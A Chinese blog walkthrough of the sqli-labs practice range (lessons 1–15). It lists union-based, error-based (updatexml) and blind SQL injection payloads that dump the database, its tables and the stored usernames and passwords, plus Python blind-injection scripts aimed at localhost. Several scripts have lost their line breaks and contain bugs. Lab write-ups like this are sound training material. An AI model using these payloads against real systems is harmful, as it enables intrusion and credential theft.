sql注入——sqlilabs1-15

目录

sql注入靶场练习--sqlilabs

1.less-1​编辑

1.测试发现单引号为逃逸符号

2.确定查询列数为三列

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

2.less-2​编辑

2.确定查询列数为三列

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-3​编辑

2.确定查询列数为三列

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-4​编辑

2.确定查询列数为三列

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-5​编辑

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-6​编辑

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-7​编辑

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-8​编辑

3.注入

​编辑

less-9

3.注入

less-10

3.注入

less-11​编辑

2.确定查询列数为二列

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-12​编辑

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-13​编辑

3.查询到数据库名

4.查询数据库中的表

5.查询用户表的列名字

6.查询用户信息

less-14​编辑

3.查询到数据库名

4.查询数据库中的表

5.查询用户表的列名字

6.查询用户信息

less-15​编辑

3.注入


sql注入靶场练习--sqlilabs

1.less-1

  • 直接注入

1.测试发现单引号为逃逸符号

id=1' --+ //将后面的语句注释

2.确定查询列数为三列

id=1' order by 3 --+

3.查询到数据库名

  • 得保证id的值不存在

id=100' union select 1, user(), database() --+

4.查询数据库中的表名

id=asdfad' union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+

5.查询用户表的列名字

id=asdfaf' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

6.查询用户信息

id=asdfaf' union select 1,group_concat(username), group_concat(password) from users --+ 

2.less-2

  • 直接注入

  • 就这一关是数字型注入,不需要逃逸其他第一关没有区别

2.确定查询列数为三列

id=1 order by 3 --+

3.查询到数据库名

id=100 union select 1, user(), database() --+

4.查询数据库中的表名

id=1000 union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+

5.查询用户表的列名字

id=100 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

6.查询用户信息

id=100 union select 1,group_concat(username), group_concat(password) from users --+ 

less-3

  • 直接注入

  • 还是一样就逃逸方式不同

2.确定查询列数为三列

id=1') order by 3 --+

3.查询到数据库名

id=100') union select 1, user(), database() --+

4.查询数据库中的表名

id=1000') union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+

5.查询用户表的列名字

id=100') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

6.查询用户信息

id=100') union select 1,group_concat(username), group_concat(password) from users --+ 

less-4

  • 直接注入

  • 还是一样就逃逸方式不同

2.确定查询列数为三列

id=1") order by 3 --+

3.查询到数据库名

id=100") union select 1, user(), database() --+

4.查询数据库中的表名

id=1000") union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+

5.查询用户表的列名字

id=100") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

6.查询用户信息

id=100") union select 1,group_concat(username), group_concat(password) from users --+ 

less-5

  • 报错注入

  • 这里首先用到了updatexml(目标xml文档,xml路径,更新的内容)函数

  • 这只是一个普通的函数但是 updatexml函数具有查询功能 并且会再xpath处查询 你将语法构造错误(~这个符号出现会报错 16进制 0x7e) 然后它就会将他查询的结果已报错的形式显示出来 然后说到concat函数(字符串1,字符串2,字符串。。。。) 在其中放入可执行函数会被执行,ps:需要用()将其包裹如下

3.查询到数据库名

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

4.查询数据库中的表名

id=1' and updatexml(1,concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--+

5.查询用户表的列名字

id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--+

6.查询用户信息

id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)--+
//由于显示长度有限所以 分段截取

less-6

  • 报错注入

  • 与less5相比只是用双引号闭合了

3.查询到数据库名

id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

4.查询数据库中的表名

id=1" and updatexml(1,concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--+

5.查询用户表的列名字

id=1" and updatexml(1,concat(0x7e,(select  select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--+

6.查询用户信息

id=1" and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)--+
//由于显示长度有限所以 分段截取

less-7

  • 报错注入

  • 与less5相比只是用 ')) 闭合了

3.查询到数据库名

id=1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

4.查询数据库中的表名

id=1')) and updatexml(1,concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--+

5.查询用户表的列名字

id=1')) and updatexml(1,concat(0x7e,(select  select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--+

6.查询用户信息

id=1')) and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)--+
//由于显示长度有限所以 分段截取

less-8

  • 这里可以看到它既没有给查询结果返回,也没有给报错处理,只给了对了打印一句话

  • 盲注:bool盲注

id=1' and 1=1 --+
id=1' and 1=0 --+
  • 同理我们是否也可以通过这判断数据库名的对错来注入出想要的结果,由于可见字符皆有可能,我们发现ascii码更加好比对

id=1' and  ascii(substr(database(),1,1))=115 --+
  • 自己一个一个试效率太低了,试试脚本吧

3.注入

  • 查询数据库名:database()

  • 查询表名:select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'

  • 查询字段名 :select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'

  • 查用户信息:select group_concat(username,0x3a,password) from users

import requests
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54","accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
}
url = "http://localhost/sqlilabs/Less-8/index.php"
def get_database(url, yuju, chiShu):        #yuju:查询的sql语句, 次数:查找内容大概有多少字符name = ''for i in range(1, chiShu):   # 数据字符数量maxr = 129          #可见字符ascii范围minr = 32middle = (minr + maxr) // 2while minr < maxr:payload = "1' and ascii(substr((%s), %d, 1)) > %d -- " % (yuju, i, middle)# print(payload)getCS = {"id": payload}requestr = requests.get(url, params=getCS, headers=headers)if "You are in..........." in requestr.text:minr = middle + 1# print(True)else:maxr = middle# print(False)# print(minr, maxr, middle)middle = (minr + maxr) // 2name = name + chr(middle)print(name)print(name)
yuju = input("输入查询语句:")
chishu = int(input('大概查询次数'))
get_database(url, yuju, chishu)

less-9

  • 这里可以看到它既没有给查询结果返回,也没有给报错处理,甚至一句话也没有

  • 盲注:时间盲注

1' and if(ascii(substr(database(), 1, 1)) = 115, sleep(3), 0)--+
// 如果条件正确则停留三秒  这种通过响应时间长短来判断对错的称为时间盲注

3.注入

  • 查询数据库名:database()

  • 查询表名:select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'

  • 查询字段名 :select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'

  • 查用户信息:select group_concat(username,0x3a,password) from users

import requests
import time
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54","accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
}
url = "http://localhost/sqlilabs/Less-9/index.php"
def get_database(url, yuju, chiShu):        #yuju:查询的sql语句, 次数:查找内容大概有多少字符name = ''for i in range(1, chiShu):   # 数据字符数量maxr = 129          #可见字符ascii范围minr = 32middle = (minr + maxr) // 2while minr < maxr:payload = "id=1' and if(ascii(substr((%S), %d, 1)) > %d, sleep(0), 0) -- " %(yuju, i, middle)# print(payload)getCS = {"id": payload}start_t = time.time()requestr = requests.get(url, params=getCS, headers=headers)end_t = time.time()print(end_t-start_t)if end_t - start_t > 1:minr = middle + 1#print(True)else:maxr = middle#print(False)print(minr, maxr, middle)middle = (minr + maxr) // 2# time.sleep(2)if maxr == 32 :breakname = name + chr(middle)print(name)
yuju = input("输入查询语句:")
chishu = int(input('大概长度:'))
get_database(url, yuju, chishu)

less-10

  • 这里可以看到它既没有给查询结果返回,也没有给报错处理,甚至一句话也没有

  • 盲注:时间盲注

  • 和less9就逃逸变为了双引号

3.注入

  • 查询数据库名:database()

  • 查询表名:select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'

  • 查询字段名 :select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'

  • 查用户信息:select group_concat(username,0x3a,password) from users

import requests
import time
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54","accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
}
url = "http://localhost/sqlilabs/Less-9/index.php"
def get_database(url, yuju, chiShu):        #yuju:查询的sql语句, 次数:查找内容大概有多少字符name = ''for i in range(1, chiShu):   # 数据字符数量maxr = 129          #可见字符ascii范围minr = 32middle = (minr + maxr) // 2while minr < maxr:payload = 'id=1" and if(ascii(substr((%S), %d, 1)) > %d, sleep(0), 0) -- ' %(yuju, i, middle)# print(payload)getCS = {"id": payload}start_t = time.time()requestr = requests.get(url, params=getCS, headers=headers)end_t = time.time()print(end_t-start_t)if end_t - start_t > 1:minr = middle + 1#print(True)else:maxr = middle#print(False)print(minr, maxr, middle)middle = (minr + maxr) // 2# time.sleep(2)if maxr == 32 :breakname = name + chr(middle)print(name)
yuju = input("输入查询语句:")
chishu = int(input('大概长度:'))
get_database(url, yuju, chishu)

less-11

  • 直接注入

2.确定查询列数为二列

admin' order by 2 -- //末尾有空格
admin' order by 3 -- //末尾有空格

3.查询到数据库名

adminn' union select 1,database() --  //末尾有空格

4.查询数据库中的表名

id=asdfad' union select 1, group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--  //末尾有空格

5.查询用户表的列名字

id=asdfaf' union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'-- //末尾有空格

6.查询用户信息

asdfaf' union select group_concat(username), group_concat(password) from users --  //末尾有空格

less-12

  • 发现和less-11一样 就逃逸改为了 双引号括号

3.查询到数据库名

adminn") union select 1,database() --  //末尾有空格

4.查询数据库中的表名

id=asdfad") union select 1, group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--  //末尾有空格

5.查询用户表的列名字

id=asdfaf") union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'-- //末尾有空格

6.查询用户信息

asdfaf") union select group_concat(username), group_concat(password) from users --  //末尾有空格

less-13

  • 逃逸改为了 单引号括号

  • 报错注入

3.查询到数据库名

adminn') and updatexml(1,concat(0x7e,(select database()),0x7e), 1) --  //末尾有空格

4.查询数据库中的表

asdfad') and updatexml(1, concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--  //末尾有空格

5.查询用户表的列名字

asdfasdfasf') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--   //末尾有空格

6.查询用户信息

asdfadf') and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)-- 
//由于显示长度有限所以 分段截取  //末尾有空格

less-14

  • 和less-14一样只是 逃逸改为了 双引号

  • 报错注入

3.查询到数据库名

adminn" and updatexml(1,concat(0x7e,(select database()),0x7e), 1) --  //末尾有空格

4.查询数据库中的表

asdfad" and updatexml(1, concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--  //末尾有空格

5.查询用户表的列名字

asdfasdfasf" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--   //末尾有空格

6.查询用户信息

asdfadf" and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)-- 
//由于显示长度有限所以 分段截取  //末尾有空格

less-15

  • 没有回显,没有报错,但是有图片变化,bool盲注

3.注入

  • 查询数据库名:database()

  • 查询表名:select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'

  • 查询字段名 :select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'

  • 查用户信息:select group_concat(username,0x3a,password) from users

import requests
​
url  = "http://localhost/sqlilabs/Less-15/"
def get_database(url, yuju, chishu):name = ''for i in range(1, chishu):minr = 32maxr = 129middle = (minr + maxr) // 2while minr < maxr :data = {"uname": "admin' and ascii(substr((%s), %d, 1)) > %d -- " % (yuju, i, middle), "passwd": "asdfadff"}request = requests.post(url, data=data)if "flag.jpg" in request.text:minr = middle + 1#print(True)else:#print(False)maxr = middlemiddle = (minr + maxr) // 2
​if maxr == 32:break# print(middle)name = name + chr(middle)print(name)
​
yuju = input("输入查询语句:")
chishu = int(input('大概查询次数:'))
get_database(url, yuju, chishu)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/393912.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机械学习—零基础学习日志(高数23——无穷小运算)

零基础为了学人工智能&#xff0c;真的开始复习高数 这段时间&#xff0c;把张宇老师讲解考研的第一部分基本全部学习完毕了。 这里把第一部分的内容最后汇总一下。 无穷小运算——吸收律 这里展示一些无穷小的具体计算思路 无穷小运算——计算方法 泰勒展开的原则 夹逼准则…

SQL报错注入之floor

目录 1.简述 2.关键函数说明 1.rand函数 2.floor&#xff08;rand&#xff08;0&#xff09;*2&#xff09;函数 3.group by 函数 4.count&#xff08;*&#xff09;函数 3.报错分析 4.报错流程 4.1寻找注入点 4.2爆数据库名 4.3爆表名 4.4爆字段名 4.5查询数据 1.…

PySide入门实战之五 | 信号与槽函数之鼠标、键盘等事件

&#x1f680;&#x1f680;&#x1f680; Pyside6实战教程专栏目录入口&#xff1a;点击跳转 目录 一、前期准备二、鼠标触发事件鼠标拖动窗口 一、前期准备 我们采用Pyside入门实战之四中通过QTDesigner创建的界面&#xff0c;具体由两个Label和一个Button组件构成&#xff…

【c++】基础知识——快速入门c++

&#x1f31f;&#x1f31f;作者主页&#xff1a;ephemerals__ &#x1f31f;&#x1f31f;所属专栏&#xff1a;C 目录 前言 一、手搓一个Hello World 二、命名空间namespace 1.命名空间的定义 2.命名空间的使用 3.命名空间补充知识 三、c中的输入和输出 四、缺省参…

图书馆座位再利用小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;座位信息管理&#xff0c;座位预订管理&#xff0c;互勉信息管理&#xff0c;意见反馈管理&#xff0c;系统管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;我的 开发…

Unity补完计划 之Tilemap

本文仅作笔记学习和分享&#xff0c;不用做任何商业用途 本文包括但不限于unity官方手册&#xff0c;unity唐老狮等教程知识&#xff0c;如有不足还请斧正 1.Tilemap 是什么 Q&#xff1a;和 SpriteShape有什么区别&#xff1f; A&#xff1a;tilemap强项在于做重的复背景&…

VsCode无法远程调试

一、问题描述 按照《VsCode gdb gdbserver远程调试C程序》中介绍的方法&#xff0c;配置好VsCode后&#xff0c;按下F5快捷键&#xff0c;或点击“Start Debugging”按钮&#xff0c;没有反应&#xff0c;无法启动调试&#xff1a; 二、解决方法 针对该问题&#xff0c;我尝…

常用设计模式总结

代码的评判角度 常见的评判代码好坏的词汇&#xff1a; 灵活性&#xff08;flexibility&#xff09;、可扩展性&#xff08;extensibility&#xff09;、可维护性&#xff08;maintainability&#xff09;、可 读性&#xff08;readability&#xff09;、可理解性&#xff08;…

电子元器件—三极管(一篇文章搞懂电路中的三极管)(笔记)(面试考试必备知识点)

三极管的定义及工作原理 1. 定义 三极管&#xff08;Transistor&#xff09;是一种具有三层半导体材料&#xff08;P-N-P 或 N-P-N&#xff09;构成的半导体器件&#xff0c;用于信号放大、开关控制和信号调制等应用。三极管有三个引脚&#xff1a;发射极&#xff08;Emitter…

Javascript——NaN有什么用法

简介 在 JavaScript 中&#xff0c;NaN&#xff08;Not a Number&#xff09;是一个特殊的值&#xff0c;用来表示非数字的结果&#xff0c;例如一个不合法的数学运算的结果。根据 IEEE 754 浮点数标准&#xff0c;NaN 不等于任何值&#xff0c;包括它自己。这意味着 NaN 是唯…

JAVA毕业设计158—基于Java+Springboot的二手车交易管理系统(源代码+数据库+万字论文+ppt)

毕设所有选题&#xff1a; https://blog.csdn.net/2303_76227485/article/details/131104075 基于JavaSpringboot的二手车交易管理系统(源代码数据库万字论文ppt)158 一、系统介绍 本项目前后端不分离(可以改为ssm版本)&#xff0c;分为用户、管理员两种角色 1、用户&#…

Golang | Leetcode Golang题解之第326题3的幂

题目&#xff1a; 题解&#xff1a; func isPowerOfThree(n int) bool {return n > 0 && 1162261467%n 0 }

AXS4054:单节锂电池充电管理芯片特性与应用推荐

AXS4054是一款单节锂离子电池恒流/恒压线性充电器&#xff0c;芯片集成功率晶体管&#xff0c;充电电流可以用外部电阻设定&#xff0c;蕞大持续充电电流可达600mA,非常适合便携式设备应用&#xff0c;适合USB电源和适配器电源工作&#xff0c;内部采用防倒充电路&#xff0c;不…

鸿蒙AI功能开发【拍照识别文字】

拍照识别文字 介绍 本示例通过使用ohos.multimedia.camera (相机管理)和textRecognition&#xff08;文字识别&#xff09;接口来实现识别提取照片内文字的功能。 效果预览 使用说明 1.点击界面下方圆形文字识别图标&#xff0c;弹出文字识别结果信息界面&#xff0c;显示当…

搜狗爬虫(www.sogou.com)IP及UA,真实采集数据

一、数据来源&#xff1a; 1、这批搜狗爬虫&#xff08;www.sogou.com&#xff09;IP来源于尚贤达猎头网站采集数据&#xff1b; ​ 2、数据采集时间段&#xff1a;2023年10月-2024年7月&#xff1b; 3、判断标准&#xff1a;主要根据用户代理是否包含“www.sogou.com”和IP核实…

Gazebo之MyRobot建立

Gazebo之MyRobot建立 1. 源由2. 示例Step 1: 新建一个简单世界Step 2: 新建一个模型(model)Step 3: 机器人组成链接(Links)Step 3.1: 新增底盘(Links/Chassis)Step 3.1.1: 惯性属性(Inertial properties)Step 3.1.2: 视觉(Visual)Step 3.1.3: 碰撞(Collision) Step 3.2: 新增左…

C语言 操作符详解

目录 一、操作符的分类 二、二进制和进制转换 2.1 二进制转十进制 2.2 二进制转八进制 2.3 二进制转十六进制 三、原码、反码、补码 四、移位操作符 4.1 左移操作符 ​编辑 4.2 右移操作符 五、位操作符 按位与&#xff1a;& 按位或&#xff1a;| 按位异或&#x…

16个好用到爆的Python实用脚本!

以下是16个非常实用的Python脚本示例&#xff0c;每个脚本都有其特定的用途&#xff0c;并且我会附上相应的源码。这些脚本涵盖了数据处理、网络请求、文件操作等多个方面&#xff0c;非常适合初学者和进阶者学习和使用。 1. 批量重命名文件 import osdef batch_rename(fold…

【Python】数据类型之集合

集合是一个无序、可变、不允许元素重复的容器。 1、定义 v1{11,22,33} 1&#xff09;&#xff09;无序&#xff1a;集合无法通过索引取值。 2&#xff09;&#xff09;可变&#xff1a;可以添加和删除集合中的元素。 3&#xff09;&#xff09;集合不允许元素重复。 例如…

MySQL中常用工具

MySQL自带的系统数据库 常用工具 MySQL mysqladmin mysqlbinlog mysqldump mysqlimport/source mysqlimport只能导入文本文件&#xff0c;不能导入sql文件